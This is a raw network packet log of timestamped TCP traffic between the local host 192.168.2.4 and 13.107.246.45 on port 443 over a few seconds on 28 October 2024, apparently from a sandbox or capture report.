Oct 28, 2024 06:28:35.010052919 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.010066032 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.011146069 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.011411905 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.011442900 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.011754036 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.011766911 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.084431887 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.084510088 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.084569931 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.084743977 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.084759951 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.084772110 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.084779978 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.087795019 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.087860107 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.087949038 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.088093042 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.088130951 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.101347923 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.101722002 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.101783991 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.101834059 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.101850033 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.101881027 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.101886034 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.104074955 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.104151964 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.104237080 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.104377985 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.104408026 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.131403923 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.131462097 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.131570101 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.131575108 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.131630898 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.131829977 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.131845951 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.131860971 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.131865978 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.133877993 CET	49980	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.133910894 CET	443	49980	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.133974075 CET	49980	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.134077072 CET	49980	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.134087086 CET	443	49980	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.137701035 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.137839079 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.137902975 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.137964964 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.137964964 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.137989044 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.138015032 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.139765024 CET	49981	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.139849901 CET	443	49981	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.139925003 CET	49981	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.140053034 CET	49981	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.140081882 CET	443	49981	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.141875029 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.141979933 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.142041922 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.142085075 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.142155886 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.142188072 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.142188072 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.142224073 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.142256021 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.142271042 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.144058943 CET	49982	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.144069910 CET	443	49982	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.144139051 CET	49982	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.144275904 CET	49982	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.144284010 CET	443	49982	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.832056999 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.843252897 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.857350111 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.857402086 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.857827902 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.857841969 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.858261108 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.858311892 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.858599901 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.858613968 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.884152889 CET	443	49980	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.884304047 CET	443	49982	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.894217968 CET	443	49981	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.902896881 CET	49980	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.902923107 CET	443	49980	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.903207064 CET	49980	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.903212070 CET	443	49980	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.905098915 CET	49982	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.905103922 CET	443	49982	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.908780098 CET	49982	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.908783913 CET	443	49982	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.914222002 CET	49981	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.914263010 CET	443	49981	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.914943933 CET	49981	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.914961100 CET	443	49981	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.984074116 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.984114885 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.984174967 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.984184980 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.984241009 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.984441996 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.984477043 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.984507084 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.984524012 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.984954119 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.985204935 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.985261917 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.985337973 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.985373020 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.985399961 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.985415936 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.987375975 CET	49983	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.987453938 CET	443	49983	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.987487078 CET	49984	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.987509012 CET	443	49984	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.987559080 CET	49983	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.987679005 CET	49984	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.987679005 CET	49983	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.987679005 CET	49984	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.987737894 CET	443	49983	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.987782001 CET	443	49984	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.031663895 CET	443	49980	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.031872988 CET	443	49980	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.031943083 CET	49980	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.032105923 CET	49980	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.032124996 CET	443	49980	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.032135010 CET	49980	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.032141924 CET	443	49980	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.035078049 CET	49985	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.035101891 CET	443	49985	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.035183907 CET	49985	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.035329103 CET	49985	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.035336018 CET	443	49985	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.035748959 CET	443	49982	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.035835981 CET	443	49982	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.035877943 CET	49982	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.035953999 CET	49982	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.035958052 CET	443	49982	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.035969019 CET	49982	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.035973072 CET	443	49982	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.037925959 CET	49986	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.037960052 CET	443	49986	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.038041115 CET	49986	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.038152933 CET	49986	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.038181067 CET	443	49986	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.044365883 CET	443	49981	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.044533014 CET	443	49981	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.044598103 CET	49981	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.044748068 CET	49981	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.044748068 CET	49981	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.044770956 CET	443	49981	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.044795990 CET	443	49981	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.046627045 CET	49987	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.046633959 CET	443	49987	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.046711922 CET	49987	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.046823978 CET	49987	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.046833992 CET	443	49987	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.714200020 CET	443	49983	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.714739084 CET	49983	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.714796066 CET	443	49983	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.715210915 CET	49983	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.715224028 CET	443	49983	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.725584984 CET	443	49984	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.726015091 CET	49984	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.726048946 CET	443	49984	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.726586103 CET	49984	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.726598024 CET	443	49984	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.772885084 CET	443	49986	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.773581982 CET	49986	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.773617983 CET	443	49986	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.774364948 CET	49986	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.774375916 CET	443	49986	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.790193081 CET	443	49987	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.790559053 CET	49987	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.790574074 CET	443	49987	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.791102886 CET	49987	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.791107893 CET	443	49987	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.797779083 CET	443	49985	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.798042059 CET	49985	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.798062086 CET	443	49985	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.798492908 CET	49985	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.798496962 CET	443	49985	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.845560074 CET	443	49983	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.845652103 CET	443	49983	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.845736027 CET	49983	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.845752954 CET	443	49983	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.845815897 CET	49983	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.845977068 CET	49983	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.846012115 CET	443	49983	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.846043110 CET	49983	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.846061945 CET	443	49983	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.849504948 CET	49988	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.849580050 CET	443	49988	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.849678993 CET	49988	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.849838018 CET	49988	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.849859953 CET	443	49988	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.855983019 CET	443	49984	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.856060028 CET	443	49984	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.856122017 CET	49984	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.856230974 CET	49984	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.856250048 CET	443	49984	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.856276035 CET	49984	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.856287003 CET	443	49984	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.858808041 CET	49989	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.858889103 CET	443	49989	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.858983040 CET	49989	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.859110117 CET	49989	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.859134912 CET	443	49989	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.904885054 CET	443	49986	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.904994965 CET	443	49986	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.905067921 CET	49986	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.905399084 CET	49986	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.905399084 CET	49986	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.905433893 CET	443	49986	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.905456066 CET	443	49986	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.908713102 CET	49990	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.908796072 CET	443	49990	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.908905983 CET	49990	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.909069061 CET	49990	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.909105062 CET	443	49990	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.927530050 CET	443	49987	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.927661896 CET	443	49987	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.927764893 CET	49987	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.927895069 CET	49987	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.927907944 CET	443	49987	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.927917957 CET	49987	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.927922010 CET	443	49987	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.928205013 CET	443	49985	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.928328991 CET	443	49985	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.928385973 CET	49985	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.928421974 CET	49985	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.928426027 CET	443	49985	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.928433895 CET	49985	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.928437948 CET	443	49985	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.930892944 CET	49991	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.930933952 CET	443	49991	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.931001902 CET	49991	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.931142092 CET	49991	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.931169987 CET	443	49991	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.931291103 CET	49992	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.931333065 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:36.931394100 CET	49992	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.931478977 CET	49992	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:36.931490898 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.590296030 CET	443	49989	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.590935946 CET	49989	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.590982914 CET	443	49989	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.591594934 CET	49989	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.591610909 CET	443	49989	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.600636005 CET	443	49988	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.601104975 CET	49988	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.601150036 CET	443	49988	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.601722002 CET	49988	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.601733923 CET	443	49988	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.649471045 CET	443	49990	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.650006056 CET	49990	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.650039911 CET	443	49990	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.650981903 CET	49990	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.650994062 CET	443	49990	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.660334110 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.660631895 CET	49992	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.660649061 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.661021948 CET	49992	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.661031008 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.676652908 CET	443	49991	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.676966906 CET	49991	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.677021980 CET	443	49991	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.677351952 CET	49991	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.677365065 CET	443	49991	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.721443892 CET	443	49989	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.721558094 CET	443	49989	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.721638918 CET	49989	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.721817970 CET	49989	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.721854925 CET	443	49989	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.721882105 CET	49989	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.721915960 CET	443	49989	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.725142002 CET	49993	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.725191116 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.725275993 CET	49993	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.725436926 CET	49993	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.725452900 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.768829107 CET	443	49988	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.768997908 CET	443	49988	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.769081116 CET	49988	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.769150972 CET	49988	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.769176960 CET	443	49988	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.769193888 CET	49988	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.769201994 CET	443	49988	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.772262096 CET	49994	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.772301912 CET	443	49994	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.772382021 CET	49994	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.772564888 CET	49994	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.772579908 CET	443	49994	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.779522896 CET	443	49990	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.779726028 CET	443	49990	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.779789925 CET	49990	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.779827118 CET	49990	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.779827118 CET	49990	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.779844046 CET	443	49990	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.779865980 CET	443	49990	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.782236099 CET	49995	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.782253981 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.782335043 CET	49995	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.782459974 CET	49995	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.782469988 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.789241076 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.789304972 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.789371967 CET	49992	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.789382935 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.789419889 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.789469957 CET	49992	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.789489985 CET	49992	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.789489985 CET	49992	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.789501905 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.789515972 CET	443	49992	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.791902065 CET	49996	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.791991949 CET	443	49996	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.792082071 CET	49996	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.792207003 CET	49996	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.792243004 CET	443	49996	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.807051897 CET	443	49991	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.807197094 CET	443	49991	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.807259083 CET	49991	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.807334900 CET	49991	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.807359934 CET	443	49991	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.807384014 CET	49991	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.807396889 CET	443	49991	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.810137033 CET	49997	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.810167074 CET	443	49997	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:37.810306072 CET	49997	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.810408115 CET	49997	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:37.810420990 CET	443	49997	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.467235088 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.476690054 CET	49993	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.476706982 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.486026049 CET	49993	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.486032009 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.496232033 CET	443	49994	13.107.246.45	192.168.2.4
